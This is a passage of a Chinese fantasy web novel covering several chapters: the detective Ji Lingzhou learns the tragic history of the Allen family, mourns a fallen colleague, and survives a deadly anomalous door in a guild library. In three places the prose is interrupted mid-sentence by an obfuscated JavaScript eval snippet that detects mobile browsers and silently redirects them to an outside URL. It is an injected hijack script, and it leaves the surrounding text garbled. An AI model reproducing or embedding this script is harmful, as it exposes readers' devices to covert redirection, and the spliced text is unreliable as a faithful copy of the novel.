玛莲娜惊慌地将短匕藏在身后,却依旧紧紧地握着匕首的柄。 “开玩笑啦!刀很有用,不是吗?”青年好笑地看着小姑娘。他的眼睛格外的深邃,似乎里面藏着个黑洞。 玛莲娜盯着他的眼,只觉得眼前的人很是可信。 “大哥哥给你变个魔术好吗?”他打了个响指,一家崭新的三角钢琴出现在房间里。 玛莲娜屏住呼吸,指尖小心翼翼触上琴盖,仿佛触碰一场易碎的梦。 她的超凡天赋并不出众,从小到大的大部分时间都花在提升灵性上。 “这张桌子好大,只有三条腿,你把它藏在哪里了?”她只见过父亲把东西变没,从来没想过有人能凭空变出东西。 “这叫钢琴,你想学吗?”他问,顺手擦了下额头的汗, 玛莲娜:“学钢琴可以成为强者吗?” “当然。”青年拖来两个琴凳,“我们要从弹琴的姿势学起。来,跟我学,把手放这里。” 小姑娘学得认真而专注,很快就能弹出不成调的曲子。 她身后的地毯上,静静地躺着一把短匕。 迪伦·阿兰看到这一幕,攥紧了拳头,他的躯体有些透明。 同样透明的季泠州面露不忍:“他的超凡力量能干扰人的心智,玛莲娜还是个孩子,她无力抵抗。” 迪伦·阿兰言语森冷:“该死的东陆人!” 季泠州目光微动,不知在想什么。 房间里,青年弹琴的手突然停下来,他轻笑一声,将目光移向玛莲娜。 迪伦·阿兰不忍再看,他打了个响指。 场景切到宴会厅。 逸散电芒的透明长枪将一个面目模糊的人钉在立柱上。 地上,提图斯·法雷尔瞪大双眼躺在地上,半边躯体消失得无影无踪。 尤利西斯三世在侍从的护卫下,从大门离开。 到处都是慌乱的人群,他们尖叫哭喊: “啊——” “奥伦特的刺客杀了天命皇帝!” “亡月在上,救命呀!” 而百年前的迪伦·阿兰正逆着人群冲向玛莲娜的房间,他脸上泛着病态的潮红,扶着墙勉力维持没有倒下。 在两大半神强者的夹击下,他只坚持了几分钟,甚至无法带走自己惨死的老友。 时间不多了。 他必须找到自己的女儿,将她带走。迪伦·阿兰心中惶恐,老友布下的迷宫还能保护自己女儿吗? 这种担忧持续到推开门的一刹,眼前的景象让他心如刀割。 房间中央凭空出现了一架巨大的钢琴,玛莲娜大半边身体卡在钢琴里,小脸惨白,浑身上下被血水浸透。 房间里,迪伦·阿兰用平静而绝望的语气叙述: “我救不了她。我只是一个【结界师】,既不擅长战斗,也不擅长治疗。” “她伤得很重,是我没保护好她。”他的声音哽咽起来,“我不该带她来涅伽拉德。我以为这只是一次常规旅行,顺带帮提图斯一个小忙。” 季泠州能切实感受到迪伦·阿兰的痛苦,他想说几句安慰的话,张开嘴却想不到有什么言语能抚慰这样的痛苦。 他闭上嘴,选择沉默。 迪伦·阿兰也没有说话,两人静静地看着百年前发生的一切。 房间里,濒死的迪伦·阿兰没有思考多少时间,就做出了决定。 他抽出一把仪式刀,将自己的女儿拆成两半,从灵魂到躯壳,再到记忆。 受伤的灵魂和躯壳被捏成了马利安,他只有关于父亲的记忆,最大的梦想是成为父亲一样的强者。 在这股信念的支撑下,他会在幻境中过漫长的岁月,直到伤势修复。 剩下完好无损的部分,依旧是玛莲娜的样子,她只记得母亲。 小女孩警惕地看着眼前陌生的瘦削男人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336118|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躲到了钢琴后面:“你是谁?” 女儿陌生的目光让他心如刀绞,迪伦·阿兰颤抖着嘴唇想说些什么,但还是挤出个笑: “我……”他说不下去了,直接用最后的力量将女儿剩下的部分封印。 “终有一天她的灵魂修复完好。届时会醒来,重新开始人生。”迪伦·阿兰在一旁解释。 但很明显出了问题,无论是记忆错乱的阿兰夫人,还是吞吃路人的马利安,都不对劲。 周围的景象在飞速变化。 起初,房间里只有马利安,他孤独地弹着琴,嘴里不时自言自语:“父亲你怎么还不回来?” 直到某一天,一面镜子坠到房间里。 这是面巴掌大的水银镜,背后镂空雕刻着一只螃蟹,眼睛用红宝石镶嵌而成,看起来妖异又美丽。 马利安好奇地捡起镜子,拿在手上玩。 孩子的好奇心来得快也去得快,他很快腻了,把镜子扔到一边。 直到某次他小声嘀咕时,镜子里浮出一张脸,主动和他交谈。 在镜子的建议下,马利安开始主动探索周围,甚至在一次摸索中,他打破了迪伦·阿兰的结界,弄丢了玛莲娜。 为了支撑投影世界,迪伦·阿兰残存的意识将更多的人放进来,用他们的灵性作为燃料,修补这个世界。 他们被困死在这里,怨恨和绝望侵蚀了马利安的心。 他背后滋生出越来越多的触手,撕碎每一个入侵者。 画面戛然而止。 季泠州再次回到空旷的宴会厅里。 迪伦·阿兰掏出一面镜子:“当我试图用一个错误修补另一个错误时,一切就不可挽回了。” 季泠州接过镜子,认真观察。这是头一次,“鉴定”没有给他任何提示。 他遗憾地将镜子纳入怀中,说: “谢礼我已经收下了。那么代价呢?替你照看玛莲娜吗?还是帮她报仇?提前说,我可能对付不了这个巨蟹座。” 迪伦·阿兰微笑着摆摆手,两眼专注地望着虚空,似乎可以透过那些漆黑的空间,看到自己的女儿: “我的小玛莲自己可以做到。我希望你帮我看着她,不要让她伤害到无辜的人。” 话音落下,本就淡到几乎看不清的迪伦·阿兰彻底消散。 清脆的玻璃破碎声响起。 细密的雨丝透过打开的窗户,飘到季泠州脸上,他抬眸眺望,厚重的雨云笼罩住涅伽拉德上空。 迷茫的人群塞满了阿兰家的每一个角落,他们不知道为什么自己会出现在这里。 豪斯也在其中,他睁大眼睛竭力辨认周围。 忽然,他认出来了!他尖叫一声,推开门冲了出去。 人群跟着他,一窝蜂地离开。 夜鹭推推季泠州的肩膀:“喂,一切都结束了,你不走吗?” 站在那道门前,季泠州忽然笑了。 “阿兰先生,我知道你视东陆人为仇敌,但你不该低估你的仇敌。恐怕出了这道门,我才会真正死去。 “用仇敌的灵魂和血肉替玛莲娜修补伤势。想到这个办法的你,应当十分骄傲吧。” 夜鹭赤红的瞳盯着季泠州。 片刻后,他轻轻鼓掌:“是我小瞧了你。”说话间,他脸上一阵波动,恢复了原先的模样。 “被那面镜子控制的人是你。”季泠州说, “对了,真正的迪伦·阿兰死在了一百年前,你不过是这个投影世界诞生的一抹残存意识。” 迪伦·阿兰抚掌大笑,他身上的颜色飞速褪去,化作一道漆黑的人形。 “你知道吗?那个异对司年轻人也和你一样聪明。你知道我做了什么吗?我抽出他的灵魂,一点点挤出灵性。多亏了他的帮忙,否则我还困不住你。” 那道人影扭动着,朝季泠州走来。 “你闻着可真香呀!我用你治好那个小东西后,就能自由了。我有好多想做的事情,你想知道吗?” 漆黑人形上逐渐化成五官。 夜鹭的鼻子、季泠州的眼、赫尔曼的灰发…… 它看起来别扭极了。 很明显,这道意识的审美不太行,希望他想做的事里没有成为整容医生这一项。 否则,这个世界的平均颜值会被它拉低一大截。 人形朝着季泠州扑来,搂住他的一瞬间,人形化作一团漆黑的液体将他裹在里面。 他无法呼吸了。 但无妨,季泠州从未尝试过从内部解离一个神性生物,些许的不适可以接受。 “啊——”漆黑的人形像通电一样,剧烈的颤抖着,化为虚无。 一股全新的力量涌入季泠州的意识海,每日能用的“修改器”次数又增加了。 街道、天际就像被大火烧过一样,卷曲着化作灰烬,飘向天际。 雨点般的人掉落下来,砸在贝克街。 这次,是真结束了。 …… 涅伽拉德郊区养老院。 护工为呆滞的老妇人端上晚饭,玛莲娜·阿兰凝视着窗外的雨幕,回忆起小时候的场景。 那时,她和母亲走失,惶然无措之际遇到救济院的嬷嬷。 此后,是五十年平凡生活。 一个矮小的身影冲进房间,护工却像没看见一样,照常转身离开。 一大一小两只手搭在了一起。 玛莲娜笑了,笑得如释重负,身后浮起浓郁的阴影。 她擦擦脸上的泪水,一把推开窗户,以不符合这个岁数的敏捷跳了出去。 36.门 亡月教会墓地。 穿深色礼服的人三五成群围绕着一个月白色的高台,梅特伦穿着玄色白纹的祭祀袍站在人群的最前方。 “今天我们聚在这里,送别赫尔曼?苏利文……” 肃穆的声音裹着海腥味的风散开,艾希莉用手帕捂住脸,小声抽噎。 她身后不远处,诺兰教授面无表情地立在人群里,指尖漫不经心地把玩着一支银色钢笔,目光游离在雨幕与墓碑之间。 诺兰教授本不想来的,但鉴于那场不幸的纪念会杀死了大部分赫尔曼的熟人,在夜莺的强制要求下,他不得不来充数。 季泠州站在人群中间,听梅特伦讲赫尔曼的过往,讲他曾是异对司的可靠探员,曾救下无辜的孩子,发现并阻止危机。 可季泠州却总是想起那个被投影意识操控、反复被杀死的灰发青年,以及对方在人生最后清醒的片刻里向自己发出的警示。 今日之后,这些藏在黑暗里、浸着血的真相,再无人关注。 不知道赫尔曼在生命的最后时刻都想了些什么。 天空淅淅沥沥地飘起小雨,冰冷的雨丝落在脸上,梅特伦加快了语速,迅速读完了悼词。 “永别了!我们的友人。”这位主教伸手举起权杖,一束月白的光照落在高台上。 季泠州率先将手里的鹳羽花放进光里,接着是艾希莉、夜莺以及其他披着黑斗篷的异对司同僚。 急促的脚步声中,豪斯带着女儿安妮匆匆赶到。 父女俩都穿着不合身的黑色礼服,眼眶通红,却还是小心翼翼地捧着怀里的花,轻轻放进了光束里。 季泠州望着那对互相搀扶的父女,无声地叹了口气。 豪斯的妻子和儿子被证实死亡,凶手是铁皮犀牛帮的某个成员,已经逃走了。葬礼就在昨天,他没想到二人还能强撑着赶来。 光束缓缓收拢,赫尔曼失去灵魂的躯壳在月光里慢慢消解,和身畔层叠的鹳羽花一起,化作一颗鸽子蛋大小的透明晶石。 【宝藏猎人之证:是时候轮到你拥抱超凡了。备注:自带技能“真实之眼”。】 夜莺上前收起那颗晶石,转眸望向季泠州,指尖无声地指了指侦探协会的方向,下一秒便消失在淅淅沥沥的雨幕里。 人群陆续散去,不肯离开的艾希莉被一对和她容貌类似的夫妇揽住,低声安慰着带走了。 雨还在下。 熙攘的高台前,转眼就只剩下季泠州一个人。 他撑着把黑伞,细密的雨幕顺着伞边缘滑落,将他和世界隔开。 生命的意义到底是什么呢?诚如赫尔曼,他追寻真相,庇佑弱者,甚至用生命救下了漠不相关的路人。 可到最后,只留下一颗冰冷的晶石。或许除了艾希莉,只有自己记住了他。 而自己,也不过是一个异世来的雨中孤魂。 季泠州甩甩头,想那么多做什么?伤春悲秋不过是浪费生命罢了。 他现在要抓紧时间赶去侦探协会,申请的内部藏书室查阅资格终于批下来了。 乐观点想,也许今天就能查到天命皇帝消失的真相,和回地球的方法。 这周制定计划,下周实践验证。 下下周的星期四,就能去一座画着无身白发老头的红房子里,大口吃无头鸡,喝冒着泡泡的冰冷黑水。 季泠州脚步轻快地离开墓地。 在灵巧地跳过一个水坑后,他忽然站住了,专注地望着左手边的巷口。 那里比别的地方更黑一些,而且能闻到浓郁的血腥气。 他的手插进口袋,握住了【高光】的剑柄。 得益于这把剑独特的收容特性,每次他从浅浅的上衣口袋里拔出一米长的大家伙时,都能打敌人一个措手不及。 “哒哒哒……” 身着优雅黑色长裙的女人自黑暗中走出。 “阿兰小姐,傍晚好。”季泠州率先打招呼。 玛莲娜·阿兰眉角的皱纹消失不见,整个人似乎年轻了许多,看起来容光焕发。 更明显的是她的气质变了。 之前的阿兰夫人萧索而拘谨,如今的她,从容自信,像荒野里的荆棘一样生机勃勃。 玛莲娜·阿兰在雨里抖掉指头上的血,用低沉的语气回忆: “我是在孤儿院长大的,几个命运教会的老嬷嬷照顾我们这些无家可归的孩子。 “老螺丝和他的朋友们,每周五都要上门敲诈嬷嬷们。那时候我们最怕的就是周五。 “侦探先生,嬷嬷们总教我们向善,要服从命运的安排。可善人连掺木屑的黑面包也守不住。你是来主持正义的吗?” 她冲着季泠州抬了抬下巴,袖子里的手指张开,巷子里的那片黑暗更浓郁了。 季泠州摇头:“只是路过而已。” 他注意到,巷子里的地上躺着几具扭曲的尸体,其中有一个他看着眼熟,在铁皮犀牛帮见过一面。 玛莲娜·阿兰继续凝视着他。 季泠州忽然朝前踏出一步。 玛莲娜·阿兰浑身紧绷,似要反击,却愕然发现对面的青年只是将手里的伞挡在她头上。 “有人说过,淋雨会让人脱发,虽然我不信这个。”季泠州温和一笑。 他也是事后想到,马利安本可以杀掉更多的人,但对方却像个传统反派,花了大把的时间介绍自己的计划。 想必,马利安一直在与操控着他的投影意识抗争。 季泠州将伞柄塞进玛莲娜·阿兰的手里,转身离开。 当他几乎要消失在雨幕里时,身后传来一道哽咽的声音:“感谢你,给我父亲自由。” 她的脸上沾满了雨水。 季泠州洒脱地摆摆手,加快了步伐。 …… 大概是因为天气的原因,侦探协会大厅空荡荡的。 夜莺斜倚廊柱,穿着葬礼上的黑裙。她没看季泠州,只望着雨幕淡淡开口: “年轻人就是身体好。” 季泠州抹了一把脸上的水,失去雨伞的他,终究还是没能在淋湿前赶到目的地。 夜莺示意他跟上。 “这是二十年前,涅伽拉德最强的超凡者的雕像,他曾以一己之力阻挠了千面之母的降临,起码救下了二十万人。” 他顺着夜莺的视线,看到了一尊眉目柔和的年轻男子雕塑。 “这个,是我的老师,也是一个【梦境行者】。”夜莺在廊柱里穿梭,指着几米外的雕像说。 “她主持的梦境计划通过营造真实幻境,让全市的邪神信徒在梦中举行仪式,因而那几十年里分部的事务极少,所有人都很闲。” 季泠州认真点头,心里却想,夜莺难道是在鼓励自己吗?守护民众,争取有一天将自己的雕像也立在这里。 “我们到了。”夜莺微微一笑,说, “收容室的进入方式是机密,我必须得说点什么来转移你的注意力。” 她细心用衣袖擦干老师雕像脸上的水。 “这里的每尊石像,都曾是活人,是比你我更强的超凡者。可现在,这些强者只能在屋檐下淋雨。” 一侧的廊柱上,悄然打开一道窄门,里面是一间宽阔的地下大厅。 墙上固定着成排的火炬,将每一个角落都照得纤毫毕现。 大厅里,已经有两人等在这里。 “夜莺,你们来晚了。”沉稳的中年男子笑着打招呼,身后站着个大眼睛的年轻人,用审视地目光打量季泠州。 “晚上好,怀恩先生。”夜莺淡淡回应。伸手从墙上摘下两只火炬,递给季泠州一把。 “感谢你送人过来,可以离开了,我会带他们去书房。” “好,我就把菲尼亚斯交给你了。”怀恩爽朗一笑,“嘭”的一声消失在原地。 菲尼克斯挪动脚步,很不情愿地站到季泠州身边。 密闭的空间里,似有风在吹拂火焰。 夜莺简单观察了一下火焰摇曳的方向,带两人拐进一道走廊。 “所有的通道里都布置着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346989|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迷宫术,不懂规律的人会永远迷失在这里。”她用告诫的声音说。 “喏!就是这里了,你进去吧。我在外面等你们,时间到了会叫你们出来。”夜莺停在一扇青铜门前。 青铜门似是能感应到来人一般,自己打开了,伴随着低低的颂唱声。 季泠州的眼神迷茫了一瞬间,转而化为狂热。他意识到,门里隐藏着人类的终极秘密。 大一统公式、曲率跃迁原理、没写在《刑法》里的致富秘诀…… 这些知识让他的心痒痒的,耳膜发胀,呼吸不自主地加快。 他的腿不受控地向前挪动,仿佛门内有无形的丝线在牵引关节。 仿佛一只嗅到硼酸土豆泥香气的广式双马尾。 就在腿即将跨出的那一刻,心底的警示骤然响起。他毫不犹豫地收回了那条腿。 矛盾中,季泠州失去平衡,朝一边歪倒。 一旁的菲尼克斯则直接得多,迈开大步朝门里冲去。 夜莺神色骤变。 她一步拦在门前,嘴里低低念诵着一种他听不懂的语言。 像哄孩子一般,门缓缓地关上了。 所有人都怅然若失。 “这里所有的门都是异常物,是会长从某个消逝神祇的祭祀场里挖出来的。”夜莺神色凝重,“那个神不甘被遗忘,偶尔会冲击现实世界。 “记住,在这里,永远不要踏进主动打开的门。” “好。” 季泠州声音低沉,他扶着墙稳住身子,整个人沉浸在巨大的失落中,浑身提不起力气。 菲尼克斯怔在原地,大口地吸着气,似乎下一秒就会昏厥过去。 夜莺推开石门,一排排书架映入眼帘。 季泠州使劲甩了甩头,强行压下多余的情绪,冲向书架。 为了今天的借阅机会,他特意制作了七八枚二十四面篡命骰子,将自己的运气刷到二十四点才出门。 三百年前、天命皇帝、东陆,再加上亡月……他在心里重复着几个预设好的关键词,目光飞快地扫视书架内容。 《七神仪式书》、《禁忌力量:让尸骨说话》、《*&@#%¥》、《远古文明论》、《海民起源》…… 书架上多是艰深晦涩的大部头,部分书籍的语言季泠州根本看不懂,读得一头雾水。 “你好,我叫菲尼克斯·沃斯,很高兴认识你。”和怀特一起来的青年不知什么时候走到他身后,开口介绍自己。 季泠州停下搜寻,冲他回了一个微笑:“叫我季就好了,有需要帮忙的吗?” 菲尼克斯自来熟的揽过他的肩膀,他身上带着淡淡的花香: “我想找和丰饶之主有关的记载,帮我留意一下,你在找什么?我也会帮你注意的。” 季泠州迟疑了一下,说:“我想了解东陆,最好是近几百年的。” 出于某种对危险的直觉,他不想让太多的人知道自己在查天命皇帝。 菲尼克斯点头:“记下了,我们开工吧。你是通过夜莺大人的推荐名额进来的吗?很少听说她和哪个超凡家族相熟。” “超凡家族?”他蹙眉反问。 “对呀,我父亲认识怀恩先生,多亏他介绍才能让我进藏书室,据说这里有半神留下的手札,找到就赚大了。” 原来是这样,关系户吗?他斟酌着措辞,说:“我是侦探协会的成员,做出了一些贡献。” 菲尼克斯神情更热切了:“自然觉醒?” 季泠州点头。 “等结束了,有兴趣来午夜茶会坐坐么?那儿的消息,可比书本灵通。” 季泠州:“?” “喏,一个松散的超凡者沙龙,大家会交换信息和异常物。”菲尼克斯介绍,“当然,喝几杯酒也是好的,我们有最好的杜松子酒。” 季泠州没有拒绝,也没有答应:“时间紧迫,我们先看书吧。” 菲尼克斯点头道:“好。” 没人知道,他藏在袖子里的手,兴奋地捏紧了。 37.佚名手札 藏书室灯光昏暗。 季泠州揉了揉发胀的眼睛,将《东陆异常生物图鉴》插回书架原位。 连续将三个书架的书一一翻看,关于天命皇帝的记载少得可怜。 有一本《东陆历代皇帝考》里提到天命皇帝,说祂疯癫暴虐,曾将一座拥有五十万人口的奥伦特城市屠杀殆尽。 但另一本《异常植物种植指南》却说,天命皇帝主持建立的大科学院,通过杂交技术培育出高产作物,永久解决了东陆的饥荒问题。 知识没有国籍,但生产知识的学者有。 季泠州深深地吸了口气,决定去角落里的手札堆里碰碰运气。 匿名的超凡手札内容大胆,真假掺半,或许能找到遗落的信息。 他一本本检查过去。 智慧与知识之神的秘密情史、时空之主和山羊不得不说的故事、我曾一口气捕捉了32只塔坎瑟斯生物发了大财…… 太荒唐了! 他加快了翻阅的速度。 忽然,季泠州的视线停在了一张残破的皮质卷轴上。 卷轴似被虫子蛀过,边缘都是窟窿,里面记载的秘闻吸引了他的注意: 曾有一个貌美绝伦的海族美人给天命皇帝生育了一个孩子,那个孩子继承了天命皇帝的超凡天赋,一度成为东陆的继承人。 但很不幸,那个孩子被奥伦特的刺客杀害了。为此,天命皇帝怒不可遏,杀了许多人。 卷轴里,用大段文字描述海族美人是如何蛊惑天命皇帝,让祂变得愈发暴虐嗜杀,从一代贤王堕落成暴君。 文字末尾,还附了一副地图,标注了天命皇帝集中屠杀时,挖的几个万人坑的位置,以及一幅模糊不清的海族画像。 读到此处,季泠州眉心微蹙。 除了那种“妖妃误国”式——将复杂问题归咎于弱者的叙事立场之外,这份记载还有一个严重的矛盾。 按照迪伦·阿兰的记忆,百年前法雷尔家的血色夜晚中,和自己容貌一样、自称“大司命”的家伙唤天命皇帝为“姐姐”。 虽然他只是扮演成“大司命”来搞事,但言行肯定模仿了本人。 问题就来了: 一位“姐姐”,如何能让一个海族美人生育子嗣,而且那个孩子还继承了自己的天赋? 或许,海族美人是男扮女装? 亦或是,天命皇帝抱来一个孩子,声称是海族美人生的? 还有一种几乎不存在的可能,就是天命皇帝除植物杂交技术外,还复刻了地球的人工克隆技术。 这太荒谬了! 季泠州将煤油灯拧到最亮。 他无法想象,在一个连电力都未普及的世界,竟能实现人造生命。 而且,他总觉得天命皇帝的想法和自己差不多: 决定回家后,便不会与任何人产生情感纠葛,祂怎么会留下一个孩子呢? 他猛地拍了一下头,思考这些没什么意义,有更直接的方法可以验证。 季泠州用眼角余光打量菲尼克斯,这家伙正靠着墙睡得正香。 很好! 季泠州阖上眼睛,调动意识海里的灵性,尽量让它们集中起来。 他必须得控制“鉴定”的范围,只用来观察眼前的手札。 因为藏书室里有不少很邪门的书,就比如那本不断吸收光芒,害得一排煤油灯都无法将房间照亮的黑皮书。 灵性异常活跃,颇费了一番功夫才控制住,他小心地睁开眼睛。 【佚名手札:某个站在远处仰望天命皇帝的人,在这份卷轴里记录了自己看到的一切。备注:看问题的立场决定了观点。海族都长一个样,不知道这家伙是如何得出“美貌绝伦”的。】 手札没问题。 他将手札上的内容细细地记下来,继续翻找。 剩下的手札没发现新的实质性内容。 一本说天命皇帝寻找到了失落的上古力量,能从太阳中获取能量。另一本则说所谓的上古力量是一颗巨蛋,能让大山飞起来。 最离谱的是有一本说那上古力量是个活人。 时间在无聊的翻看中过去。 “到时间了,出来吧,我送你俩离开。”夜莺困倦的声音自门外响起,她似乎睡了一觉。 菲尼克斯伸了个懒腰,摇摇晃晃地朝门走去。 季泠州忽然开口:“如果不想死,就别过去。” 菲尼克斯不解地望过来,大有“你今天必须给我一个合理解释”的架势。 季泠州:“记得夜莺大人说过的话吗?永远不要进入自己打开的门。” 菲尼克斯意识到问题,抬头飞快地扫了门一眼,只见夜莺露出半张侧脸,笑容诡异阴森,透着股让人脊背发凉的寒气。 他后背的冷汗“唰”地冒出来,浸透衬衣。 “那…那我们该怎么办?”菲尼克斯喉结滚动,声音发紧。 季泠州语气沉稳:“等。” 门里的东西出不来,或许一会就会离开,即便不退去也无妨,外面的夜莺久等不见两人出来,定然会进来查看。 他淡定地返回书架,抽出一本书继续读。 菲尼克斯有样学样,也跟着看起来。但他的心思完全不在书上,许久没有翻一页,只顾用眼角余光观察那扇门。 门缝里,形似夜莺的存在目不转睛地望着二人。 刚翻了没几页,季泠州的袖子被一只手拉住,手的主人似乎非常紧张,抖个不停。 菲尼克斯几乎要抱住季泠州的手臂,用颤音说: “它它……它突然不见了。” 季泠州猛地抬头,四下梭巡。 房间最里面,靠墙书架的书籍间隙里,露出半张脸死死地盯着二人。 他的头皮一下子就炸了! 先前从门缝里看不真切,距离拉近后,他骤然意识到那东西是平面的,像一张纸插进书架和墙的空隙里。 它只有半张脸,始终用有眼睛的一面朝向二人。 季泠州被它盯得毛骨悚然。 菲尼克斯瞳孔骤缩,喉间发出惊到崩溃的嘶吼,火焰已从口中喷涌而出! 炽热的火焰自他嘴中喷吐而出,穿过书架朝着那东西烧去。 那张微笑的脸自边缘起,被烧得卷起来。片片剥离,惨白的灰烬飘散到空气中。 季泠州眼疾手快将菲尼克斯撞开,灰烬已飘然落至方才的位置。 看着灰烬落地,菲尼克斯刚想松口气,却见灰烬在莫名气流的带动下,如蝴蝶般翩跹飞起,朝二人扑来。 这下,即便是傻子也意识到不对劲了。 季泠州躲闪之势已竭,只好抽出【高光】劈向墙壁借力,在半空中打了个狼狈的滚,躲开灰烬。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352225|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>菲尼克斯就没这么好运了,他喷火后似乎整个人都被掏空了,脚步虚浮,想躲却没躲开。 一片灰烬优雅地贴上他的右手臂。 男人的惨叫声几乎刺破季泠州的耳膜。 菲尼克斯的右手臂瞬间被压成薄薄的一张,自肩膀齐根断裂飘落在地。 碗口大的伤口没流一滴血,反而呈现出纸张一样的纹理,并且飞速向身躯蔓延。 他反应果断,脚下后退,同时摸出一把漆黑的匕首,朝伤口削去。 切割血肉的沉闷声响像地狱低语,在藏书室里回荡。 季泠州听得牙酸。 果然能成为超凡者的没一个善茬,起码自己是没法立刻下定决心剜肉放血。 他可不想缺胳膊短腿,心中对灰烬的警惕升到顶点,眼睛眨也不眨地盯着灰烬。 菲尼克斯削下的血肉掉落在地,引得灰烬像嗜血的蝇虫一般飞扑而上,大口吮吸。 季泠州趁隙用一条胳膊穿过他肋下,架起他就往外逃。 菲尼克斯面如白纸,勉强挤出个感激的笑。 灰烬很快吞吃完血肉,朝二人扑来。 季泠州左支右绌地躲闪着,同时不断挥舞【高光】,卷起气流荡开灰烬。 他的呼吸逐渐粗重。 不能再这样下去了,随时间流逝,体力大幅度消耗,而灰烬似乎没什么变化。 必须得搏一搏! 季泠州大力挥剑荡开灰烬,制造出个宽阔空隙,然后触动意识海里悬浮的漆黑羽毛。 绿焰燃烧,一匹神骏的马踏空出现。 他一把提起菲尼克斯,像搬麻袋搬将他打横放到马背上。 季泠州低喝:“绕圈跑,别回头!” 塔坎瑟斯马嘶鸣着在书架间绕圈飞驰。 灰烬追逐着血腥而去,在马后五六米的地方形成一条惨白色长尾。 灵性飞速消耗。 当那条尾巴离自己的距离拉到最大时,季泠州脚下生风朝门口扑去。 必须得把门关上! 惨白灰烬似乎意识到了要发生什么,顿时分出大部分朝季泠州扑来。 季泠州将手按在青铜门上,用尽全力推门,半尺宽的门缝一点点合拢。 他在心里估算,照这个速度足以将门关上。 意外忽然发生了,青铜门浮雕里的巨型类人生物脸骤然浮出。 巨脸大嘴张开,露出森然的金属长牙,狠狠地咬在季泠州的肩膀上。 “咔嚓!”骨头碎裂的声音自怪物嘴里传出。 季泠州疼得眼前一黑,几乎要昏过去。 他的动作有些变形但未停止。 一只手艰难捏碎梅特伦预制的治疗术式,全身靠在门上继续推。 疼痛钻心下,他竟分神想:自己这算不算被门夹了? 亡月神力作用下,肩膀被朦胧月光笼罩,汩汩冒出的鲜血流速渐缓。 逐渐收拢的伤口与嵌在血肉中的巨齿相互挤压,带来新一轮的疼痛,逐渐影响到了灵性输出。 远处,奔跑的塔坎瑟斯马越来越淡,在“嘭”的一声轻响中消失不见。 菲尼克斯狼狈地滚在地上,跑了没几步就被灰烬团团围住。 仅仅几秒,更多的、吸饱血肉染上颜色的灰烬朝季泠州飞来。 余光里的世界,变成怪异扭曲的彩色。 38.不死鸟、人工智障和沙丁鱼酒馆 “锵!” 季泠州关上了门。 门合拢前的最后十几秒,漫长的仿佛过去了一辈子。 灰烬在同一时间消失。 巨脸依依不舍地张开嘴,带锯齿的牙从季泠州身躯里拔出,齿缝间还挂着丝丝缕缕的血肉。 一条分叉的舌头从嘴里伸出,依依不舍地舔干净齿缝里的血肉,缩回门上。 藏书室再次恢复平静。 季泠州的背低着门缓缓滑坐,呼吸粗重得像个破风箱。 整个人几乎虚脱,被咬住的瞬间让他有种濒死的错觉。 亡月神术持续生效,肩膀上的血窟窿缓缓愈合,剧痛逐渐转为麻痒。 大抵是白嫖了亡月太多次,术式的效果明显变差,他的额头泛起细密汗珠。 “菲尼克斯!”一时半会动不了,季泠州只好转移注意力,开始呼唤,“你死了吗?喂,菲尼克斯。” 地上的纸片人一动不动。 “醒醒!菲尼克斯。” 扁平的菲尼克斯燃烧起来。 别,怎么又来? 季泠州无奈地盯着燃烧的地方,心想要是出现新的灰烬整你等死了。 因为藏书室里无法使用【安心钥匙】,他第一时间就试过了。 出乎意料的是,菲尼克斯在燃烧中逐渐膨胀起来,身形缓缓恢复。 “咳咳咳,我死了一次。”菲尼克斯艰难地支起上半身。 季泠州有气无力地咳了一声,问道:“你还好吗?” “不好。” 菲尼克斯缓过劲儿来,从地上爬起,跑来扶季泠州。 走到一半,他敏锐地注意到季泠州警惕的眼神,于是停下脚步,解释道: “我的职业是【不死鸟】,每十年才能涅槃一次,刚才已经用掉了。” 似乎自己认识的每个超凡者,职业都很强大,季泠州想。 若是自己能涅槃,说不定能卡个bug,一次性还清欠亡月的寿命。 ——毕竟人死债销。 现在不是纠结这个的时候。 季泠州轻咳一声,提示道:“你的衣服。” “衣服?”菲尼克斯下意识地拽了一下衣摆,却径直摸到了自己的腰。 “啊!” 他惶然地蹲下,双手徒劳地试图遮掩胸口的滑稽猫头纹身。 耷拉的眼皮嵌在滚圆的猫脑袋上,不禁让人联想到的塔洛恩,还是翻白眼的那种。 真是绝妙的艺术! 季泠州不得不反复回忆自己被巨脸咬住时的剧痛,这才没笑出声来。 “没事,我什么也没看到。” 他脱下自己被咬出一串洞的长风衣,朝菲尼克斯丢去。 菲尼克斯如蒙大赦般裹上风衣,脸涨得通红,主动帮季泠州检查伤口,并说道: “你的伤势很严重。”菲尼克斯用指尖挑开黏在伤口的衬衣碎布。 季泠州无所谓。 